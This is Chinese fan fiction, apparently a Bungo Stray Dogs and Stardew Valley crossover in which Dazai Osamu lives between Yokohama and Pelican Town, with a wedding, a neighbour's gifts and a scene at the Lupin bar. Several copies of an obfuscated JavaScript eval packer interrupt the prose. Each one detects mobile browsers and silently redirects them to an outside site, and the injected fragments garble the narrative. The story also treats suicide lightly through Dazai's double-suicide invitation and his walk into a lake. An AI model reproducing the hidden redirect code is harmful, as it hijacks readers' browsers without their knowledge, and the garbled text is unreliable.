他沿着昨天的那条小路向镇子中心走去,恰好与他隔壁那家外面还圈着牧场的房屋主人撞了个照面。 那是个面容和蔼的老妇人,看到他后先是一愣,随后拍了拍头,和蔼地朝着他笑着: “你就是新来镇上的人吧?” 太宰治点点头。 “正好,农场主今天在镇上的广场举行婚礼,这可是镇上难得的大事,我正要过去,你也一起去吧!她家的宴席肯定好吃!” 看少年的脚步在原地不动,她好像想起了什么,再次拍了拍额头: “忘记介绍我自己了,我是玛尼,住在你家隔壁的这个牧场。有关畜牧或者领养宠物的事都能来找我,我家卖干草和动物用品。小家伙,你的名字呢?” “太宰,太宰治。” “太宰治……” 玛尼重复了一遍,点了点头, “不错的名字。那我们快过去吧!婚礼的时间在早上十点,走得快点还能赶上第一排!全镇的人到时候都会过来,你趁机和大家熟悉一下混个脸熟也好!” 即使他的名字看起来完全和这边不同,对方也没有露出好奇的神色。包括农场主那个名字,似乎也没有人感到奇怪。 ……听起来更像是游戏了。 讲真,太宰治不是个爱凑这种热闹的人,但考虑到接下来还真的可能在这里呆一段时间,加上对这里的好奇,他还是跟上了名为玛尼的老妇人的步伐,和她一起向镇上走去。 鹈鹕镇最中心的广场上,已经摆好了婚礼的布置。装点着时令鲜花的洁白拱门立在那里,穿着正式着装的长发青年胸前别着一朵玫瑰站在拱门下,应该就是本次婚礼的新郎了。 他一边风度翩翩地带着温和的笑容和其他来宾打着招呼,一边朝某个方向不停地望去。 那应该就是上次打听过的艾利欧特了。 太宰治默默想着。 “农场主还没到吗?” 玛尼挤过人群,先是和新郎打了声招呼,然后侧过身,把身后的太宰治让出来, “这个小伙子也是新来的,太宰治,住在我家附近。” “欢迎参加我和农场主的婚礼,玛尼大婶和这位太宰先生。” 艾利欧特礼貌地朝他们打了声招呼,又带了点苦笑解释道, “您也知道的,农场主平时就一天到晚忙着下矿钓鱼种地……大概昨天也累到很晚了,今天会来得迟一点吧。” 他说这话的时候,目光又不自觉地朝道路尽头望去。 “没关系,她肯定不会忘掉的,农场主什么时候忘记过我们的事,何况还是这么大的事。” 玛尼安慰他。 艾利欧特点点头,眼里逐渐多了期颐的亮光: “是啊,她肯定不会忘的。” 太宰治对此不置可否。 但他只是个初来乍到的新人,并不打算这么没有眼力见地发表什么讨人嫌的说辞。他在需要的时候可以将自己伪装成礼貌得体的模样,这只是基础的社交习惯。 太宰治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471706|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看玛尼这边暂时得不到多余的情报,便以“新来鹈鹕镇、想多认识些邻居”的名义和她礼貌地道了别,慢悠悠走到了广场偏僻的角落。 “真羡慕啊,艾利欧特能和农场主结婚……” 与现场格格不入的低声呢喃撞进了他的耳中。 太宰治微微侧头,是个不认识的青年,穿着一件深色的夹克,手里端着一杯啤酒,略有些羡慕和不甘地望着穿着西装的今日焦点。 太宰治收回视线,在心里又添了一笔。 农场主还真是受人喜欢啊。 他感叹了一声,昨天的金毛和今天的黑毛,还有马上要结婚的长发新郎…… 嗯? 为什么有些女性也同样一副不甘心咬着小手绢的幽怨模样? 甚至她们的幽怨冲着的也并不是今日的新郎,似乎同样是那位农场主。 ……和刚刚那位黑发青年,如出一辙。 太宰治大为震惊。 太宰治升起了好奇。 他悄无声息地移动到女生群体的附近,选了一个不远不近的位置,背靠着广场边缘的一根灯柱,假装不在意地低着头。 实际上耳朵竖得比谁都直。 有个紫色长发的女孩站在最前面,不甘心地死死盯着新郎,仿佛要将他盯出一个洞来: “可恶,就差一步我就是第一个了……” 第一个什么,第一个和农场主结婚的吗? 太宰治大为不解。 “行了吧,不要炫耀了,你好歹收过她的花,她可是从来没有送给其他人花束过!” “莉亚你根本不懂,明明是我先认识的农场主,明明是我先……” 太宰治表情没有变化,把这段对话一字不落地收进了耳朵里。 要是农场主的恋慕者这么多,说不定有人想动点歪心思的话,今天的婚礼还真的没法办成功。 呀,真是吃了好满足的一口瓜。他心满意足地回到角落,安静地等待着。 广场上的人越来越多。鹈鹕镇的全部居民几乎都到齐了。孩子们在人群之间追逐打闹,大人们三三两两地聚在一起聊天,偶尔有人朝道路尽头张望一眼。 时间马上临近十点,那道路的尽头终于跑来一个身影。 几乎在那瞬间,太宰治听到了宾客中年轻男女双方同时发出的不愉快的气音,与之相对的,是艾利欧特那骤然变得明亮的欢快声音: “农场主,你终于过来了!” “抱歉抱歉,昨天收拾房间收拾得太晚了,” 农场主跑过来,在艾利欧特面前停下来,露出一个带着歉意的笑容, “我想着你今天结婚后就要搬到我家,想收拾的更好看更正式一点,还差点失眠了,不好意思来晚了——我没错过时间吧?” 太宰治仔细盯了昨天看到的热情少女几秒,迅速判断这句话是句很不走心的场面话。 毕竟在新郎穿的如此正式的情况下,农场主压根没换衣服,还是上一次他见到的那身装扮。 但今日的新郎显然不这么认为。 艾利欧特不仅信了,而且信得很彻底。不仅如此,他还反手握住她的手,露出极其感动的神情: “没有来晚哦,我知道你最重承诺了。” 农场主被他握着手,笑了笑,带着一丝不易察觉的心虚。 镇长——刚刚太宰治有听到人们关于他身份的讨论的刘易斯咳嗽了两声,走到人群最前面。场面安静了下来: “那我就开始为你们准备婚礼了。” 他翻开那本小册子,找到了折角的那一页。 熟悉的祝词。 和外界一模一样的流程。 太宰治靠在橡树干上,双手插在口袋里,目光越过人群,落在已经在走神的农场主身上。 如果她是另一位“正式玩家”,那她在现实生活中的身份又是什么呢? 5. 农场主的礼物 那天白天,婚礼结束后,两位新人就回到了农场,而太宰治也趁机花了整个下午的时间,将这座小镇的人员摸了个大概。 鹈鹕镇比他想的还要小。居民只有两位数,从南到北步行也没多久。小镇唯一的公交车司机是个酒鬼,前不久才返回自己的岗位,乘坐班车,就可以到达另一处沙漠。而最南边的海岸边,有一艘破破烂烂没修好的船,据说可以通往小岛。 而人员方面,简单来说,除了一位自称“法师”的怪人住在森林深处,以及据说下矿洞会遇到不少魔物之外,目前还没有什么异常。 鹈鹕镇只是一座普普通通民风淳朴的乡下小镇。 哦,他还发现镇长似乎和他的邻居,那位玛尼阿姨有点说不清道不明的关系。 下次,试着去试探试探那位森林深处的法师吧…… 想着这些有的没的,太宰治在天色完全暗下来之前回到了湖边的小屋,关好门后在床边坐下。 他打算再实验一次是否睡觉就能随意联通两个世界。 如果假设成立,那么在横滨入睡,就在鹈鹕镇醒来;在鹈鹕镇入睡,会在横滨醒来。两个世界通过“睡眠”这个动作切换,像是一页书的相反两面。 不过,如果这样下去的话…… 太宰治的表情渐渐阴沉下来。 岂不是他白天要在港口□□工作,晚上还要来到鹈鹕镇试探情报? 白天面对森鸥外的压榨、中原中也的挑衅、听不懂话的下属;晚上还要在这个乡下小镇里扮演“新来的淳朴邻居”,不动声色地打探情报。 这也太凄惨了吧。 太宰治眼眸阴沉沉的,身后仿佛都带上了乌云。他的脑子里开始转一些不太妙的念头——这样下去人生简直太无趣了,不如白天的时候,把…… 门口处有动静。 太宰治刚刚独处时展现的所有情绪全部消失殆尽,他打量着门口,眼睛微微眯起。 这种时候,会是普通人吗,还是镇民们提到的魔物? 这位港口mafia最年轻的干部无声地站起身,移到窗边侧过身,用眼角的余光向外斜着看过去。 月光下,一个熟悉的身影站在他的信箱前,手里还提着一个大包。 ——是农场主。 太宰治的眉头微微动了一下。 白天婚礼的仪式推推搡搡,他当然是注意到农场主好几次朝他的方向确认般地看了几眼。 但现在? 这不是新婚第一晚吗,来找他? 真是有种奇异的荒谬感。不过世界上又有什么正人君子呢,多数不都是披着道貌岸然的皮囊吗。 少年漫不经心地想着,打开了门。 农场主伸向信箱的手尴尬地顿住了,紧接着,她的脸上浮现出一种混合了惊讶和意外的表情: “这个时间你竟然还会开门啊。” 农场主的手不自觉地摸向口袋里的小本本,却因为手上拿着的东西阻拦了她的动作。 太宰治这才借着月光看清楚她手上拿的是一个做的非常大的食盒,他站在门口,视线又落回少女的脸庞: “所以,农场主小姐找我有什么事呢?” “啊,上午的时候,太宰君也去了婚礼现场吧,” 农场主说这话的时候语气毫无暧昧感,仿佛那场婚礼不是她自己的一样, “我那时看到你在午餐前就一个人离开了。我想你作为刚来这里的新人,房间里大概没有合适的蔬菜或者料理工具吧?所以我带了食物过来。” 她举了举手中巨大的盒子, “现在不饿也没关系,都是可以保存很久的类型,只要放在冰箱里,之后热一下就可以吃。” “您观察的还真是仔细呢。” 明明是在睡梦中进入的小镇,却还要维持生存所必须的热量吗。太宰治淡淡地应了一声,伸手去接那个看起来叠了七层的食盒,随后—— 和想象中完全不同的分量让他的胳膊不由沉下去了。他的手指在食盒的把手上收紧了几分,肌肉绷紧,才勉强稳住了那个下坠的趋势。 ……别的姑且不论,农场主这份力量真是完全确实地展现在他的面前了。 见他收了饭盒已经走回屋内,农场主犹豫了片刻,还是开了口, “还有,呃,可能这个问题有些失礼,你的经济情况如何呢?” 设计者都没有安排房屋里的布置,总感觉在这种方面也会相当粗心大意。 太宰治也想到了“他”最初的设定问题,云淡风轻地先将已经开始严重挑战自己肌肉力量的餐盒放在地上,直起身轻飘飘地回答: “这个嘛,钱什么的当然是完全没有呢。” 果然是这样。 农场主心中确定了这个猜测,说出的话也更拐弯抹角: “……镇上的物资一般都是皮埃尔先生或者joda超市采购,但多数也是蔬果之类的生活用品,哪怕是医生的诊所也只有常用的备用药物,诊金也……有些昂贵。” 农场主铺垫着,试图用不会损害少年自尊心的方式说, “包括绷带其实也没什么备货,哈维医生不常购入,如果你需要的话,我和他们关系都还可以,可以拜托他们进货的时候帮你多带一些相关物资,这样也方便日常更换,你觉得如何?” 就连这种微小的细节也注意到了。 “那还真是感激不尽。” 太宰治语气柔和了点,话锋一转, “那么,小姐又想从我这里获取到什么呢?” “我初来乍到,身上好像也没有什么东西值得小姐贪恋。倒不如说,自从刚来到这里之后,农场主小姐就一直在送我东西——难道是因为这张脸吗?” 他微微歪了歪头,嘴角的弧度加深了一点。 “在明明是新婚之夜的晚上跑过来找我——是这样的原因吗?” 农场主愣住了。 “欸?” 欸欸欸——?! 这时候不管心里怎么想,也得先否认吧! 农场主的手都快摆出了残影: “不是不是不是——不是这样的原因!” 她的语速一下子快了起来,像是在急着澄清什么误会, “至少现在我只想和你成为好朋友。” 毕竟提升好感度得先从陌生人到熟悉再到朋友才能慢慢往上提啊。 “另外艾利欧特今天要把自己的小屋装扮出来,他也有自己的事。” 这倒也是真话。不过——农场主在心里默默地想,在他住进去的那一刻,那间小屋其实就已经装修好了。 “并且镇上的大家都很热情……太宰君没有看过信箱吗?” 太宰治的目光移向门口那个铁皮信箱: “回来的时候有看过,里面没什么东西。” “这样啊……” 农场主若有所思地点了点头。 “可能因为你来得太突然,大家之前没有认识你吧。不过今天现场他们应该都知道你是新搬来鹈鹕镇的邻居了。接下来几天,你的信箱里会满满当当的。” “不知道太宰君清不清楚这件事,我是你之前来的上一位新人。那个时候,我身上也只有微薄的金币。但大家都很热情,经常会上门送自己的食谱,种植的蔬菜,或者别的什么东西。” 她解释道,语气里带着一种过来人的经验之谈, “我已经来这里一年多了。接下来的‘新人福利待遇时间’——就轮到太宰君体会了。” 她指了指那个信箱。 “我刚刚也是想趁着天黑放到信箱里,这样你明天一早就能看得到……没想到会这么巧,正好能碰上你。” 太宰治看了一眼信箱,又看了一眼农场主,没说信或者不信。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471707|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好吧。” 他说, “那晚安。” “晚安。” 农场主应了一声,转身走了两步,又回过头来。 “对了!我的农场在玛尼阿姨房屋左边那条路一直往前。如果你想去参观,或者有什么需要我帮忙的话——也随时欢迎!” 热心到可疑。 太宰治凝视着她,嘴角突兀地露出一抹笑: “什么忙都可以吗?” “基本……?” 农场主想了想自己接过的各种各样的奇怪委托——帮人找内裤,送宝石,偷偷塞满冰箱蔬菜,语气有些不确定。 “基本……?” 太宰治往前迈了半步,月光落在他的脸上,把那张缠着半边绷带的脸照得像一件精致的瓷器。他的笑容加深了,眼底带着一种孩子气的,近乎天真的期待。 “那——” “和我一起殉情,小姐愿意吗?” 空气安静了一瞬。 农场主眨了眨眼。 又眨了眨眼。 “……抱歉,我可能对这个词的理解不太清楚,请问殉情的意思是?” “那当然是一同陪我牵着手,步入那美妙的死亡女神的怀抱啊。” 少年挥着手,姿态夸张, “啊,想想都觉得心潮雀跃,无比心动——!” 他说这话的时候,眼睛里亮着光,和他脸上的笑容完美地融合在了一起,让人分不清到底是真心还是玩笑。 什么啊,原来是这种设定? 但是…… “抱歉,这件事可能在这里有点难以完成。” 农场主脸上难得露出了非常为难的神情,她极其委婉,极其委婉地组织着语言, “太宰君之前说自己身上没有足够的金钱,对吧?嗯……虽然是我个人的看法,嗯……怎么说呢?还是请您务必珍惜生命,不要试图在鹈鹕镇尝试这件事。” 太宰治脸上的光彩以肉眼可见的速度黯淡了下去。 “果然不行嘛。” 少年的语气变得极其失望。 农场主想了想曾经刚来鹈鹕镇时对她而言的天价账单,又想了想自己现在的资产余额,犹豫了片刻: “……我也不是不可以试试。” 反正追其他人也要送礼物,换算成金钱也差不多……差不多。 太宰治的眼睛重新亮了起来。 “但是——” 农场主看到他露出了心动的表情,语速加快, “我觉得太宰君最好不要去尝试。虽然我也不介意让您多欠我个人情,但……” 她想了想,觉得这个话题再聊下去可能会走向一个非常奇怪的方向,于是果断地选择了刹车。 “总之,请您三思。” 太宰治察觉到这个说法似乎有异常,像是可能这里的死亡其实是会带来什么惩罚或者副作用之类的。但他还没有来得及细问,农场主突然睁大了眼睛,惊呼了一声: “啊,不好!这个点了我还没回去的话——两点前会没法上床睡觉的!” 她一边说一边已经开始往后退了。 “抱歉,太宰君,我真的得走了!你也早点休息吧!明天见!” 最后的几个字甚至是被风吹过来的。 太宰治目送着少女离去,眼底闪过一丝思索: “嗯……?” 两点前要睡觉? 听起来似乎有哪里不对劲,但确实两点休息似乎对一般人来讲有些过晚了。而他在闭上眼的那一瞬还要继续回港口mafia做些无聊的工作—— 明天,绝对要把森先生的咖啡换成无因饮料。 ……不。 是今天。 躺在床上睁开了眼的少年面无表情地想到。 这白天要上班,晚上还要上班的日子,糟糕透了。 6. lupin 港口mafia最年轻的干部今日带着肉眼可见的黑气压走进大楼。 对此人往日所作所为只要有所耳闻的下属们,远远看见那个身影便纷纷贴着墙壁走,没有一个敢进入他视线范围内五米,生怕自己成为下一个被发泄的目标。 好在对方进了自己的办公室后,“砰”的一声关上门,许久都没有出来。 茶水间内。 “那位大人今天的低气压真可怕啊……光是远远看着,我就恨不得今天没有来过。” “那算什么,起码他今天没有笑着来。你敢想象,如果他今天还带着笑的话,那会是多恐怖的情况吗?” “……嘶,别说了,我已经开始打冷战了。” 一阵沉默。 先提出那个假想的人生硬地扭转了话题: “还是说点令人高兴的事吧。” “这年头太阳底下哪有什么新鲜事,何况还是我们这种人……真要说,也只有那件事吧。” 几人心照不宣地对视了一眼。 有人身体微微前倾,声音放的很低: “那个啊……喂,我偷偷问一嘴啊,你们,有没有在那个地方吃过什么餐食之类的?” 得到了否定的答案。 “我听那里的人说,他们每年夏天都会熬一锅非常大的汤,用的是最好的食材,非常美味,只要来访的人都能喝到一份。你想想啊,现在已经到春天了,似乎离那个节日也不远了……你们真的不心动吗?” “心动,谁不心动呢?但你敢吗?万一——我是说万一,就像是那些黄泉国度的传说,吃掉之后就会成为那里的一员,没法再离开那个地方呢?” 茶水间里的空气又凝固了。随后,有人不服气地开口: “真的假的?不是,你怎么会想到这种可能?” “不是想不想得到,是你敢不敢赌有这么一个可能呢?” 几人面面相觑。 “……那还是,唉……但,那边的环境也很好,人相处的也很舒服,据说还会有非常珍稀的农作物,怎么看也不像……” 紧接着便是一阵叹息,夹杂着沉默。 最先提到这个话题的男人开始有些坐立不安起来,他换了个姿势,四处张望着,似乎是想再找出个新话题来缓解一下现在的气氛。 但比这更糟的出现了—— 在转头的那一刻,他看到了玻璃门外投向这边的,那只独一无二的鸢色眼眸。 “太、太宰大人……” 这下,茶水间里,彻底成了死寂。 咖啡机发出“滴”的一声,可谁都没有敢去拿。 最上层的首领室内。 太宰治面无表情地站在办公桌前,将刚才茶水间里听到的对话一字不漏地汇报了上去,最后总结道: “现在来看,还没有人冒险去做这件事,但说不准之后真的会有人想试试呢。” 森鸥外坐在那张宽大的办公桌后,双手交叉撑着下巴,眼睛半眯着,长长叹了口气: “啊——为什么部下们会想逃避现实到这种地步呢?最近几年在我任职期间的港口mafia内,我自认为福利待遇还是不错的。我们之前发下去的调查问卷,员工的幸福度不是都写的满分吗。” “难道不是森先生你的职责大失格了吗,现在立刻马上为此谢罪吧。” 太宰治没干劲地接话,伸了个懒腰, “如果对方式有疑惑,我也可以提供几个自己之前亲身尝试过的方案呢。” “那还真是容我拒绝,首领如果都在考虑怎么逃避现实的话,组织的未来也就真漆黑一片了啊。” 森鸥外苦笑着,无视少年嘀咕着“难道现在就不黑暗了吗”的背刺,指关节轻点着桌面, “但是,那个人说的设想,也确实会令人担心。这场传言,本来就不止在港口mafia的成员内部流动吧?万一真有这样的可能性……” 刚刚显得异常颓废的大叔紫红色的眼底闪过一丝危险的色彩。 “那就不止是港口mafia的麻烦了。” “因为是农场所以属于土地性质,也就等同于伊邪那美和黄泉之国吗?” 太宰治选择大声抱怨, “森先生该不会是和爱丽丝待久了,连想象力也丰富到了幼稚园阶段吧?” “太宰君,” 森鸥外假笑着,总觉得对方有些不对劲,但又不清楚这份不对劲出现的原因, “你今天真的很喜欢和我唱反调啊,我记得,这应该是你的任务吧?” “只是对于压榨未成年的资本家的不满,森先生不是为了组织什么都可以接受吗,那样的话几句小小的抱怨也没什么的吧。” 首领终于脑海里闪过一道闪光: “太宰君调查到哪个地步了?” 少年已经施施然挥手向外走去,声音有些模糊不清: “……去亲身验证一下伊邪那美传说的地步。” 森鸥外在他身后嘴唇动了动,似乎要阻止,却在最后视线被自己脖子上鲜红的色彩吸引,又将话语咽了下去。 “如果不是异能的话,神社,八百万神……” 他沉默了片刻,又拿起了旁边关于这起事件的调查报告。 但是。 严重违反了作息的白日做梦,显然彻底失败。 Lupin。 太宰治趴在吧台上,脸颊被压得微微变形,无精打采地盯着面前玻璃杯中的冰球。 琥珀色的酒液里,那块圆形的冰球正在缓慢融化,发出细微的的“咔咔”声,酒保在吧台后安静地擦拭着酒杯,在这片空间内,沉默似乎成了一种默契。 “晚上好。” 没过多久,腋下还夹着公文包,头发和灰色西装都一丝不苟的青年也踏入了这片狭小的空间。 “还是要一杯啤酒,谢谢。” 坂口安吾熟练地在少年旁边坐下,点单,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471708|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公文包放在脚边,松了松领带,肩膀微微塌下来了一些——这是他在Lupin里才会露出的松弛。 “太宰君今天很闲?” 大概是某个字触及到了某人纤细的神经,太宰治猛地从吧台上弹起来,动作之快,差点把面前的酒杯带翻: “完全——不!与事实相反,我忙得要死!” 坂口安吾看着他,眨了眨眼,然后慢慢端起自己面前的啤酒杯,抿了一口。 “是吗。” “听说最近有不少人都会去后山许愿,据说能做个好梦。” 青年放下酒杯,手指在杯壁上轻轻敲了两下, “太宰君要不要试试看。” “连安吾都听说了吗,那看来传播的真的很广了。” “我好歹也是情报人员,了解到这种地步也是正常的。” 坂口安吾不咸不淡地回了一句嘴, “所以,首领也注意到了吗?” 太宰治盯着他看了两秒,然后像是被戳破的气球一样,慢慢地、慢慢地重新趴回了吧台上。 “是啊,越传越离谱。还有不少人认为那里连接着冥府,只要吃了那里的东西就永远没办法离开了——” 他停顿了一下, “我打算试试看。” 刚刚那份鲜活的情绪尽数褪去,少年的目光落在酒杯里那块冰球上,盯着倒映在酒面上的破碎光影,仿佛刚刚那一切激烈的反应都是错觉。 坂口安吾端着酒杯的手顿了一下,皱起眉: “如果是真的……” “真的是真的的话,” 太宰治接过他的话,语气轻飘飘的, “那我不就达到了我理想的终局吗,可以实现无痛的死亡——听起来也不错。” 坂口安吾逃避性地喝了一大口酒,没有敢去看太宰治: “那样的话,之后就不能在Lupin尽情喝酒聊天了吧。” “没什么,反正梦中的那片小镇里也有酒吧,据说晚上镇上的居民也都会到那里去,比现在要热闹的多了。” 太宰治恢复了懒洋洋的腔调,然后撑起身体,双手插进口袋,站了起来, “啊,也差不多该到休息的时间了,再见,安吾~” “你的作息时间现在也变得意外的健康了啊。” 坂口安吾声音里带着一种说不清道不明的复杂情绪。 “……明天见,太宰君。” 他最后说道。 背对着他的少年脚步顿了顿,然后继续向前走去,没有回头。他的身影很快就消失在楼梯的拐角处。 坂口安吾盯着太宰治消失的方向看了几秒,收回视线,将杯子里的啤酒一饮而尽: “梦中的永无乡……” 酒后的幻想吗。 但是。 “注意到的人……” 他的声音轻得几乎听不见。 “……可不止港口mafia啊。” 7. 星露谷的礼物 太宰治闭上眼睛。 仿佛过了很久,又仿佛只是下一秒,他的鼻尖已经闻到了熟悉的,属于森林和湖泊的湿润气息,身下的床铺似乎也一瞬间变的软和。 太宰治睁开眼。 果然又看到了熟悉的木质天花板。 尽管从身体的感觉来说,他仿佛不曾歇息过,但此时此刻太宰治的精神状况却感觉已经睡饱了一觉。 他将这些细碎的细节记下,就打算去厨房找昨晚放进冰箱内的那份便当。 但在想起鹈鹕镇的“昨晚”那位农场主的话时,太宰治脚步一转,向相反的方向走去。 打开房门,不远处就静静伫立着属于自己的信箱。少年站在门口漫不经心地望过去,随后—— 他眨了眨眼。 他又眨了眨眼。 信箱还在那里。但信箱周围——不,应该说信箱本身——已经完全看不见了。 一堆杂七杂八的东西像小山一样堆在那里,从最底下的木箱到最上面的信封,层层叠叠,摇摇欲坠,几乎有半人高。也不知道是怎么能堆成这种诡异的平衡的。还有数不清的信封,白的、黄的、浅蓝色的,有的塞在缝隙里,有的压在重物下面,有的干脆就搁在最上面,被晨风吹得微微掀起了角。 不是错觉。 那个被堆成小山一样的,完全看不出那里有个信箱的杂物堆,就是他的信箱。 太宰治站在原地,盯着那堆东西看了好几秒。 那份新鲜感似乎还是头一次。在他记忆中,几乎没有过素不相识的人会为自己的到来欢呼迎接的场景。即使有,那些“欢迎”背后也都带着目的——试探、利用、拉拢、讨好。 而眼前那些礼物——如果木材和铁锭也算礼物的话,没有一件是真正值钱的东西。 它们只是……礼物。 不知道为什么,少年的心情突兀地好了些。 他快步走到那堆几乎与自己等高的杂物堆里,兴致勃勃地扫过那些还夹杂着信件的礼物,并且很快就将一部分的礼物与前几天一面之缘的镇民对上了号。 镇长刘易斯的最为明显,他直接在自己的信件内放了两百金币,以“不至于让新来的年轻人陷入困境”。 铁匠克林特送了铁锭和铜锭,说有需要打造的可以去找他。 威廉送了他鱼饵,还表示“如果新人对钓鱼有兴趣可以随时找他”。 其余大多数人送的都是些自己的拿手好菜,附赠食谱,字迹有工整有潦草,但每一份都写得很详细。一时间,太宰治就由“只有一份食物”的选择变成了“不快点吃冰箱放不下的就要坏掉了”的甜蜜负担。 那些或简短或有力或温暖的信件里,只有好意蔓延着。太宰治想,就算他们的食物真的有冥府的特性,大概鹈鹕镇上的居民也完全不知情吧。 他拿起两碟食物,头一次犯了选择困难症。 谁的厨艺好一些呢…… 正比较着,清晨的薄雾内,有一道略微凌乱的脚步在快速靠近。 “呀,你今天醒的好早!” 太宰治回过头,不出意外地看到快速靠近的农场主正兴高采烈地伸长了胳膊和他打招呼。 少女今天也依旧精神奕奕,带着毫无阴霾的笑容。 “你来的也很早。” 太宰治说。 就算这里是相亲相爱、与世无争的小镇——单纯会这么早跑到另一位异性家里,总不能真是单纯的热心肠吧。 他在心里打了个问号,但脸上没有露出任何多余的表情。 “已经不算早啦,我家里的农活都已经做好了,想着你这边说不准会遇到什么麻烦的情况——大家虽然很热心,但偶尔也会带来点困扰。需要我帮你搬进去吗?” 她指的是那些木材石头和铁锭等东西。 这还真是无法拒绝。 “那就麻烦你了。” 太宰治侧身让开门口,农场主卷了卷袖子,弯下腰,一手拎起那根最粗的木头,一手抱起一筐铁锭,轻轻松松地走进了他的小屋,脚步稳稳当当的,和她表面上纤瘦的外形完全不同。 几分钟后,农场主拍了拍手上的灰,从屋里走出来,突然想起了什么,眼睛一亮: “哦哦,对了,我还带了茶,是鹈鹕镇最近的流行,大家都很喜欢——你要喝吗?” 太宰治盯着那不知从哪个角落掏出来的茶杯,以及里面那和正常的茶颜色完全不同的紫色液体,一时间陷入了沉默。 这比目前加起来看到的所有东西都更像冥府出品。 农场主疑惑地看着他,似乎不明白为什么他突然不说话了。 在她的认知里,这杯茶可是鹈鹕镇目前能拿出来的最好的礼物——不受一周只能送两次礼物的限制,还能一次最少加一颗心的好感度呢! 农场主自己都送人送的差不多了,硬生生翻了十五个箱子才找出来这一杯!十五个箱子!她的手指都快翻断了! “不,没什么,看上去是很清爽的颜色呢。” 太宰治露出个过分灿烂明亮的笑容,伸手接过去就仰头喝了下去, “真是期待会是什么样的味道呢……” 少年咂了咂嘴,声音轻了下去。 确实很好喝。 不单单是味道上的好喝——当然它本身的味道也很好喝,但更重要的是,在喝下去的那一瞬间,有什么东西在他的脑海里炸开了。 那些美好的,舒服的,或许说是人类最喜欢的,可以称之为幸福的感觉,在同一刻涌进了脑海中。 那种感觉令人无措。 浑身轻飘飘的,仿佛这手中的茶真的有什么魔力一般,让他想起了最深刻的,最令人向往的…… 太宰治露出了恍惚的神情。 农场主眨了眨眼,这杯星之果茶全星露谷无差评,她期待地看着他,等着他的评价。 然后她就看着少年张开双臂,错过她的身影,向湖边走去,脚步毫无停顿。 随后在少女的注视中—— 砸进了湖中。 水花四溅,涟漪一圈一圈地荡开,越扩越大,最后消失在湖心深处。 农场主站在原地,保持着伸出一只手的姿势,整个人像被按了暂停键一样卡在原地。 她低头看了看那刚从信封里拆出的两百枚金币,又看了看已经只剩下几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471709|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气泡的湖面,以及远方隐隐约约,向这边跑过来的,哈维医生穿着白大褂的身影,脑海里就只剩下一句话—— 这点钱够扣几次的份额? 不对。 农场主的思维突然跳到了另一个轨道上。 算算她过来凑脸熟的频率,以及送过的礼物,难道这就是太宰治的两心好感度剧情吗? 农场主目瞪口呆。 农场主叹为观止。 几十分钟后,全镇唯一的诊所内。 “你要学会照顾好自己……” 医生喋喋不休的叮嘱念经一般嗡嗡响个不停。 “入水——我是说,不管什么原因,掉进湖里都是非常危险的事情。尤其是这个季节,水温还很低,很容易引起体温过低,严重的话会导致心脏骤停——” 还没有满十八岁的少年满脸阴霾地仰面倒在诊所的病床上,眼神空洞而疲惫,鼻尖充斥着消毒水的气息。 农场主就坐在他不远处的病床旁,目光落在墙上的某张人体解剖图上,假装自己不存在。 “诊金是二十枚金币。” 哈维说得口干舌燥,端起桌上的水杯喝了一口,清了清嗓子,觉得自己刚才那一通长篇大论确实值这个价钱。他放下水杯,转向农场主, “当初的你比他还要不省心——” 别念了,哈老师。 农场主深吸一口气,在太宰治探究的目光中,决定换个话题: “过两天就是复活节了,哈维医生准备的怎么样?” 哈维果然被转移了注意力。他愣了一下,然后推了推眼镜: “我?我有那个自知之明,优胜肯定是拿不到的——前年是阿比盖尔,去年是你,我记得是这样吧?根本比不过啊。” 他好奇发问, “你呢,今年有信心吗?” 农场主摇摇头: “我拿过一次奖品就够了,上次也是勉勉强强才赢过阿比盖尔的,这次获胜的应该是她吧?” “哦?” 哈维脸上闪过一个揶揄的笑容, “难道不是因为别的原因吗?” “不是。” 农场主斩钉截铁地回答道, “我还是会尽全力的,要不然也太不尊重其他人了。” 怕哈维再问些什么,她急忙扯上一旁的太宰治,带着“来来来我们聊这个”的热情, 